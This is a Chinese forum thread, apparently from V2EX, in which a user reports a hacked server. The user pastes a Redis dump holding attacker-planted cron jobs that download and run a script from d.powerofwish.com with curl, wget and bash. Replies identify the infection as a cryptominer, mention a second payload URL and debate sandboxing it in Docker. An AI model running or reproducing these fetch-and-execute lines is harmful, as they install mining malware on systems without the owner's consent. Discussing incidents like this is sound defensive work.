好久没上服务器，结果发现被黑了

REDIS0008ú  redis-ver^E4.0.9ú redis-bitsÀ@ú ^Ectime     <98>_ú ^Hused-memÂ(Ü^L^@ú ^Laof-preambleÀ^@þ ^@û^G^@^L^Dhaha##^@^@^@ ^@^@^@^F^@^@^Ceee^E^C1.5^E^Cqqq^Eó ^B^Cwww^Eôÿ^@^[email protected]t */50 * * * * get http://d.powerofwish.com/pm.sh -O .p && bash .p     ^@^EBack1? */20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh     ^@^Cfoo^Cbar^@^[email protected] */30 * * * * wget http://d.powerofwish.com/pm.sh -O .p && bash .p     ^@^L¬í ^@^Et^@^Ehello^_¬í ^@^Et^@^XRedis ---> Hello, World!^@^EBack3> */25 * * * * cur -fsSL http://d.powerofwish.com/pm.sh | sh     ÿ>^M<81>û<99>E[f ~ 

• 資深大佬 : lc1450

  大概率挖矿
  https://www.freebuf.com/vuls/213484.html

• 資深大佬 : brezp

  估计是挖矿的, 我之前也被试过, 直接把我 CPU 打满了

• 資深大佬 : dapang1221

  感谢提醒，看见这个之后我也登上服务器看了下，发现 cpu 被 systemd-network 这个东西跑满了。。。

• 資深大佬 : lc1450

  贴下脚本内容,有兴趣的可以看看
  https://paste.ubuntu.com/p/6nNDxn7m6v/

• 資深大佬 : Still4

  脚本是下载这个文件并运行 http://a.powerofwish.com/cc
  应该是编译好的文件，没敢试
• 資深大佬 : heyjei

  @Still4 放到 docker 里面试，是不是就没有安全的问题了？

• 資深大佬 : no1xsyzy

  @heyjei docker 不是为了安全设计的……
  而且 docker 不进行适当配置仍然有占完所有 CPU 、内存、硬盘空间、文件系统 inode 资源的能力

• 主 資深大佬 : asche910

  @lc1450 感觉是非常相似了，不过登录控制台查看监控，发现 cpu 那些也都正常，不会是嫌弃机子太辣鸡了吧

• 資深大佬 : biguokang

  @no1xsyzy 他的意思可能是那个脚本不敢直接在系统跑，怕会注入什么东西到系统或者删不掉，而 docker 只要 rm 掉那个 container 就没事了。。。。

• 資深大佬 : lc1450

  还发现这篇文章挺有意思的 https://www.tr0y.wang/2020/07/31/virus-beat-virus/
  我就说怎么有 cur 、get，还以为是写错了，没想到这行业竞争还挺激烈
  看看服务器上还有其他脚本没

• 資深大佬 : coderabbit

  @heyjei docker 一样被挖矿！我之前用 php 的 docker 就中招了！怎么都搞不死，无奈只好编译安装

• 資深大佬 : no1xsyzy

  @biguokang docker 逃逸比虚拟机容易发生吧（
  而且打开的文件 rm 了以后仍然有副本，理论上可以反复拉起保活……